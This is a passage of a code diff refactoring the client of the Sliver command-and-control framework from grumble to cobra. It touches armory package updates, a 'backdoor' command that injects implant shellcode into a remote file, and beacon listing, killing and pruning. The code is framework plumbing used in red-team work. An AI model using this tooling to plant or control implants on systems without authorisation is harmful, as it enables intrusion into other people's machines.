 // ArmorySearchCmd - Search for packages by name
-func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(ctx)
+	clientConfig := parseArmoryHTTPConfig(cmd)
 	refresh(clientConfig)
 	con.Printf(console.Clearln + "\r")
-	rawNameExpr := ctx.Args.String("name")
+
+	rawNameExpr := args[0]
+	// rawNameExpr := ctx.Args.String("name")
 	if rawNameExpr == "" {
 		con.PrintErrorf("Please specify a search term!\n")
 		return
@@ -44,7 +47,7 @@ func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

-	aliases, exts := packagesInCache()
+	aliases, exts := packageManifestsInCache()
 	matchedAliases := []*alias.AliasManifest{}
 	for _, a := range aliases {
 		if nameExpr.MatchString(a.CommandName) {
@@ -52,9 +55,11 @@ func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 	matchedExts := []*extensions.ExtensionManifest{}
-	for _, ext := range exts {
-		if nameExpr.MatchString(ext.CommandName) {
-			matchedExts = append(matchedExts, ext)
+	for _, extm := range exts {
+		for _, ext := range extm.ExtCommand {
+			if nameExpr.MatchString(ext.CommandName) {
+				matchedExts = append(matchedExts, extm)
+			}
 		}
 	}
 	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
@@ -19,57 +19,129 @@ package armory
 */

 import (
-	"io/ioutil"
+	"fmt"
+	"os"
+	"sort"
+	"strconv"
 	"strings"

+	"github.com/AlecAivazis/survey/v2"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
+	"github.com/bishopfox/sliver/util"
 )

+type VersionInformation struct {
+	OldVersion string
+	NewVersion string
+	ArmoryName string
+}
+
+type PackageType uint
+
+const (
+	AliasPackage PackageType = iota
+	ExtensionPackage
+)
+
+type UpdateIdentifier struct {
+	Type PackageType
+	Name string
+}
+
 // ArmoryUpdateCmd - Update all installed extensions/aliases
-func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	var selectedUpdates []UpdateIdentifier
+	var err error
+
 	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(ctx)
+	clientConfig := parseArmoryHTTPConfig(cmd)
 	refresh(clientConfig)
 	con.Printf(console.Clearln + "\r")

-	// Aliases
-	aliasUpdates := checkForAliasUpdates(clientConfig, con)
-	if 0 < len(aliasUpdates) {
-		con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
-		for _, aliasName := range aliasUpdates {
-			err := installAliasPackageByName(aliasName, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
-			}
-		}
-	} else {
-		con.PrintInfof("All aliases up to date!\n")
+	armoryName, err := cmd.Flags().GetString("armory")
+	if err != nil {
+		con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
+		return
 	}

-	// Extensions
-	extUpdates := checkForExtensionUpdates(clientConfig, con)
-	if 0 < len(extUpdates) {
-		con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
-		for _, extName := range extUpdates {
-			err := installExtensionPackageByName(extName, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", extName, err)
-			}
+	// Find PK for the armory name
+	armoryPK := getArmoryPublicKey(armoryName)
+
+	// If the armory with the name is not found, print a warning
+	if cmd.Flags().Changed("armory") && armoryPK == "" {
+		con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
+	}
+
+	// Check packages for updates
+	aliasUpdates := checkForAliasUpdates(armoryPK)
+	extUpdates := checkForExtensionUpdates(armoryPK)
+
+	// Display a table of results
+	if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
+		updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
+		displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
+		selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
+		if err != nil {
+			con.PrintErrorf(err.Error() + "\n")
+			return
+		}
+		if len(selectedUpdates) == 0 {
+			return
 		}
 	} else {
-		con.PrintInfof("All extensions up to date!\n")
+		con.PrintSuccessf("All packages are up to date")
+		return
+	}
+
+	for _, update := range selectedUpdates {
+		switch update.Type {
+		case AliasPackage:
+			aliasVersionInfo, ok := aliasUpdates[update.Name]
+			if !ok {
+				continue
+			}
+			updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
+			if err != nil {
+				con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
+				// Keep going because other packages might not encounter errors
+				continue
+			}
+			err = installAliasPackage(updatedPackage, false, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
+			}
+		case ExtensionPackage:
+			extVersionInfo, ok := extUpdates[update.Name]
+			if !ok {
+				continue
+			}
+			updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
+			if err != nil {
+				con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
+				continue
+			}
+			err = installExtensionPackage(updatedPackage, false, clientConfig, con)
+			if err != nil {
+				con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
+			}
+		default:
+			continue
+		}
 	}
 }

-func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
-	cachedAliases, _ := packagesInCache()
-	results := []string{}
+func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
+	cachedAliases, _ := packageManifestsInCache()
+	results := make(map[string]VersionInformation)
 	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
-		data, err := ioutil.ReadFile(aliasManifestPath)
+		data, err := os.ReadFile(aliasManifestPath)
 		if err != nil {
 			continue
 		}
@@ -78,21 +150,33 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
 			continue
 		}
 		for _, latestAlias := range cachedAliases {
-			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
-			// the armory differs at all from the local version, the extension is out of date.
-			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
-				results = append(results, localManifest.CommandName)
+			/*
+				We used to check if the version identifiers were different between the installed version and the
+				version in the armory. This worked when we had one armory, but with multiple potential armories,
+				we have to have some type of versioning. We do not have an official versioning scheme for packages,
+				so we will rely on the author of the package incrementing the version identifier somehow to determine
+				if a package is newer.
+			*/
+			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
+				if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
+					results[localManifest.CommandName] = VersionInformation{
+						OldVersion: localManifest.Version,
+						NewVersion: latestAlias.Version,
+						ArmoryName: latestAlias.ArmoryName,
+					}
+				}
 			}
 		}
 	}
 	return results
 }

-func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
-	_, cachedExtensions := packagesInCache()
-	results := []string{}
+func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
+	_, cachedExtensions := packageManifestsInCache()
+	// Return a map of extension name to minimum version to install
+	results := make(map[string]VersionInformation)
 	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
-		data, err := ioutil.ReadFile(extManifestPath)
+		data, err := os.ReadFile(extManifestPath)
 		if err != nil {
 			continue
 		}
@@ -101,12 +185,190 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
 			continue
 		}
 		for _, latestExt := range cachedExtensions {
-			// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
-			// the armory differs at all from the local version, the extension is out of date.
-			if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
-				results = append(results, localManifest.CommandName)
+			/*
+				We used to check if the version identifiers were different between the installed version and the
+				version in the armory. This worked when we had one armory, but with multiple potential armories,
+				we have to have some type of versioning. We do not have an official versioning scheme for packages,
+				so we will rely on the author of the package incrementing the version identifier somehow to determine
+				if a package is newer.
+			*/
+			if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
+				if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
+					results[localManifest.Name] = VersionInformation{
+						OldVersion: localManifest.Version,
+						NewVersion: latestExt.Version,
+						ArmoryName: latestExt.ArmoryName,
+					}
+				}
 			}
 		}
 	}
+
 	return results
 }
+
+func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
+	/*
+		This function helps us keep updates straight when the user chooses from them. Just in case
+		an alias and an extension exist with the same name, we cannot simply combine the two maps.
+
+		We will assume that no two aliases and no two extensions have the same name.
+	*/
+
+	result := []UpdateIdentifier{}
+
+	aliasNames := util.Keys(aliasUpdates)
+	extensionNames := util.Keys(extensionUpdates)
+	for _, name := range aliasNames {
+		result = append(result, UpdateIdentifier{
+			Type: AliasPackage,
+			Name: name,
+		})
+	}
+	for _, name := range extensionNames {
+		result = append(result, UpdateIdentifier{
+			Type: ExtensionPackage,
+			Name: name,
+		})
+	}
+
+	sort.Slice(result, func(i, j int) bool {
+		return result[i].Name < result[j].Name
+	})
+
+	return result
+}
+
+func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
+	var (
+		aliasSuffix     string
+		extensionSuffix string
+		title           string = "Available Updates (%d alias%s, %d extension%s)"
+	)
+
+	tw := table.NewWriter()
+	tw.SetAutoIndex(true)
+	tw.SetStyle(settings.GetTableStyle(con))
+	if len(aliasUpdates) != 1 {
+		aliasSuffix = "es"
+	}
+	if len(extensionUpdates) != 1 {
+		extensionSuffix = "s"
+	}
+	tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
+	tw.AppendHeader(table.Row{
+		"Package Name",
+		"Package Type",
+		"Installed Version",
+		"Available Version",
+	})
+
+	for _, key := range updateKeys {
+		var (
+			packageName    string
+			packageType    string
+			packageVersion VersionInformation
+			ok             bool
+		)
+		switch key.Type {
+		case AliasPackage:
+			packageVersion, ok = aliasUpdates[key.Name]
+			if !ok {
+				continue
+			}
+			packageName = key.Name
+			packageType = "Alias"
+		case ExtensionPackage:
+			packageVersion, ok = extensionUpdates[key.Name]
+			if !ok {
+				continue
+			}
+			packageName = key.Name
+			packageType = "Extension"
+		default:
+			continue
+		}
+		tw.AppendRow(table.Row{
+			packageName,
+			packageType,
+			packageVersion.OldVersion,
+			fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
+		})
+	}
+
+	con.Printf("%s\n\n", tw.Render())
+}
+
+func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
+	chosenUpdates = []UpdateIdentifier{}
+
+	var updateResponse string
+
+	con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
+	err := survey.AskOne(&survey.Input{
+		Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
+	}, &updateResponse)
+	if err != nil {
+		// We do not need to set selectionError because an error here means the same thing as responding with "none"
+		return
+	}
+
+	updateResponse = strings.ToLower(updateResponse)
+	updateResponse = strings.Replace(updateResponse, " ", "", -1)
+	if updateResponse == "n" || updateResponse == "none" {
+		return
+	}
+
+	if updateResponse == "a" || updateResponse == "all" {
+		chosenUpdates = updateKeys
+		return
+	}
+
+	selections := strings.Split(updateResponse, ",")
+
+	for _, selection := range selections {
+		// Handle a range
+		if strings.Contains(selection, "-") {
+			rangeParts := strings.Split(selection, "-")
+			start, err := strconv.Atoi(rangeParts[0])
+			if err != nil {
+				selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
+				return
+			}
+			end, err := strconv.Atoi(rangeParts[1])
+			if err != nil {
+				selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
+				return
+			}
+			// Adjust for the 0 indexed slice we are working with
+			start -= 1
+			end -= 1
+			if start < 0 {
+				start = 0
+			}
+			if start > end {
+				selectionError = fmt.Errorf("%s is not a valid range", selection)
+				return
+			}
+			if end >= len(updateKeys) {
+				end = len(updateKeys) - 1
+			}
+
+			for i := start; i <= end; i++ {
+				chosenUpdates = append(chosenUpdates, updateKeys[i])
+			}
+		} else {
+			// Single entry
+			index, err := strconv.Atoi(selection)
+			if err != nil {
+				selectionError = fmt.Errorf("%s is not a valid range", selection)
+				return
+			}
+			index -= 1
+			if index >= 0 && index < len(updateKeys) {
+				chosenUpdates = append(chosenUpdates, updateKeys[index])
+			}
+		}
+	}
+	return
+}
@@ -19,36 +19,38 @@ package backdoor
 */

 import (
-	"context"
 	"fmt"

 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/spf13/cobra"
 )

-// BackdoorCmd - Command to inject implant code into an existing binary
-func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// BackdoorCmd - Command to inject implant code into an existing binary.
+func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	remoteFilePath := ctx.Args.String("remote-file")
+	remoteFilePath := args[0]
 	if remoteFilePath == "" {
 		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
 		return
 	}

-	profileName := ctx.Flags.String("profile")
+	profileName, _ := cmd.Flags().GetString("profile")
+
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()

 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
 	con.SpinUntil(msg, ctrl)
-	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
+	backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
-		Request:     con.ActiveTarget.Request(ctx),
+		Request:     con.ActiveTarget.Request(cmd),
 	})
 	ctrl <- true
 	<-ctrl
@@ -0,0 +1,38 @@
+package backdoor
+
+import (
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	backdoorCmd := &cobra.Command{
+		Use:         consts.BackdoorStr,
+		Short:       "Infect a remote file with a sliver shellcode",
+		Long:        help.GetHelpFor([]string{consts.BackdoorStr}),
+		Args:        cobra.ExactArgs(1),
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+		Run: func(cmd *cobra.Command, args []string) {
+			BackdoorCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) {
+		f.StringP("profile", "p", "", "profile to use for service binary")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) {
+		(*comp)["profile"] = generate.ProfileNameCompleter(con)
+	})
+	carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor"))
+
+	return []*cobra.Command{backdoorCmd}
+}
@@ -19,26 +19,26 @@ package beacons
 */

 import (
-	"context"
 	"fmt"
 	"regexp"
 	"strings"
 	"time"

+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+
 	"github.com/bishopfox/sliver/client/command/kill"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"golang.org/x/term"
 )

 // BeaconsCmd - Display/interact with beacons
-func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	killFlag := ctx.Flags.String("kill")
-	killAll := ctx.Flags.Bool("kill-all")
+func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	killFlag, _ := cmd.Flags().GetString("kill")
+	killAll, _ := cmd.Flags().GetBool("kill-all")

 	// Handle kill
 	if killFlag != "" {
@@ -47,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, ctx, con)
+		err = kill.KillBeacon(beacon, cmd, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -63,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, ctx, con)
+			err = kill.KillBeacon(beacon, cmd, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -72,18 +72,20 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
-	filter := ctx.Flags.String("filter")
+	filter, _ := cmd.Flags().GetString("filter")
 	var filterRegex *regexp.Regexp
-	if ctx.Flags.String("filter-re") != "" {
+	if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
 		var err error
-		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+		filterRegex, err = regexp.Compile(filterRe)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 	}

-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -92,7 +94,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }

 // PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
+func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) {
 	if len(beacons) == 0 {
 		con.PrintInfof("No beacons 🙁\n")
 		return
@@ -101,7 +103,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp
 	con.Printf("%s\n", tw.Render())
 }

-func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
+func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer {
 	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
@@ -110,20 +112,45 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	wideTermWidth := con.Settings.SmallTermWidth < width
+	windowsBeaconInList := false
+	for _, beacon := range beacons {
+		if beacon.OS == "windows" {
+			windowsBeaconInList = true
+		}
+	}
 	if wideTermWidth {
-		tw.AppendHeader(table.Row{
-			"ID",
-			"Name",
-			"Tasks",
-			"Transport",
-			"Remote Address",
-			"Hostname",
-			"Username",
-			"Operating System",
-			"Locale",
-			"Last Check-in",
-			"Next Check-in",
-		})
+		if windowsBeaconInList {
+			tw.AppendHeader(table.Row{
+				"ID",
+				"Name",
+				"Tasks",
+				"Transport",
+				"Remote Address",
+				"Hostname",
+				"Username",
+				"Process (PID)",
+				"Integrity",
+				"Operating System",
+				"Locale",
+				"Last Check-in",
+				"Next Check-in",
+			})
+		} else {
+			tw.AppendHeader(table.Row{
+				"ID",
+				"Name",
+				"Tasks",
+				"Transport",
+				"Remote Address",
+				"Hostname",
+				"Username",
+				"Process (PID)",
+				"Operating System",
+				"Locale",
+				"Last Check-in",
+				"Next Check-in",
+			})
+		}
 	} else {
 		tw.AppendHeader(table.Row{
 			"ID",
@@ -143,6 +170,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
 			color = console.Green
 		}
+		if beacon.Integrity == "" {
+			beacon.Integrity = "-"
+		}

 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
@@ -156,11 +186,19 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
+				fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
+			}
+
+			if windowsBeaconInList {
+				rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
+			}
+
+			rowEntries = append(rowEntries, []string{
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
 				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
 				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
-			}
+			}...)
 		} else {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
@@ -0,0 +1,102 @@
+package beacons
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	beaconsCmd := &cobra.Command{
+		Use:     consts.BeaconsStr,
+		Short:   "Manage beacons",
+		Long:    help.GetHelpFor([]string{consts.BeaconsStr}),
+		GroupID: consts.SliverHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			BeaconsCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
+		f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
+		f.StringP("kill", "k", "", "kill the designated beacon")
+		f.BoolP("kill-all", "K", false, "kill all beacons")
+		f.BoolP("force", "F", false, "force killing the beacon")
+
+		f.StringP("filter", "f", "", "filter beacons by substring")
+		f.StringP("filter-re", "e", "", "filter beacons by regular expression")
+	})
+	flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
+		(*comp)["kill"] = BeaconIDCompleter(con)
+	})
+	beaconsRmCmd := &cobra.Command{
+		Use:   consts.RmStr,
+		Short: "Remove a beacon",
+		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			BeaconsRmCmd(cmd, con, args)
+		},
+	}
+	carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con))
+	beaconsCmd.AddCommand(beaconsRmCmd)
+
+	beaconsWatchCmd := &cobra.Command{
+		Use:   consts.WatchStr,
+		Short: "Watch your beacons",
+		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			BeaconsWatchCmd(cmd, con, args)
+		},
+	}
+	beaconsCmd.AddCommand(beaconsWatchCmd)
+
+	beaconsPruneCmd := &cobra.Command{
+		Use:   consts.PruneStr,
+		Short: "Prune stale beacons automatically",
+		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			BeaconsPruneCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) {
+		f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin")
+	})
+	beaconsCmd.AddCommand(beaconsPruneCmd)
+
+	return []*cobra.Command{beaconsCmd}
+}
+
+// BeaconIDCompleter completes beacon IDs
+func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
+	callback := func(_ carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err == nil {
+			for _, b := range beacons.Beacons {
+				link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
+				id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
+				userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
+				desc := strings.Join([]string{id, userHost, link}, " ")
+
+				results = append(results, b.ID[:8])
+				results = append(results, desc)
+			}
+		}
+		return carapace.ActionValuesDescribed(results...).Tag("beacons")
+	}
+
+	return carapace.ActionCallback(callback)
+}
@@ -20,7 +20,6 @@ package beacons

 import (
 	"bytes"
-	"context"
 	"errors"
 	"fmt"
 	"sort"
@@ -28,6 +27,7 @@ import (
 	"text/tabwriter"

 	"github.com/AlecAivazis/survey/v2"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -43,8 +43,10 @@ var (
 )

 // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
-func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -100,8 +102,10 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
 	return nil, ErrNoSelection
 }

-func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -116,8 +120,10 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 	return nil, ErrBeaconNotFound
 }

-func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -19,25 +19,28 @@ package beacons
 */

 import (
-	"context"
 	"time"

 	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
 )

 // BeaconsPruneCmd - Prune stale beacons automatically
-func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
+func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	duration, _ := cmd.Flags().GetString("duration")
+	pruneDuration, err := time.ParseDuration(duration)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -59,7 +62,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
 	for index, beacon := range pruneBeacons {
-		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
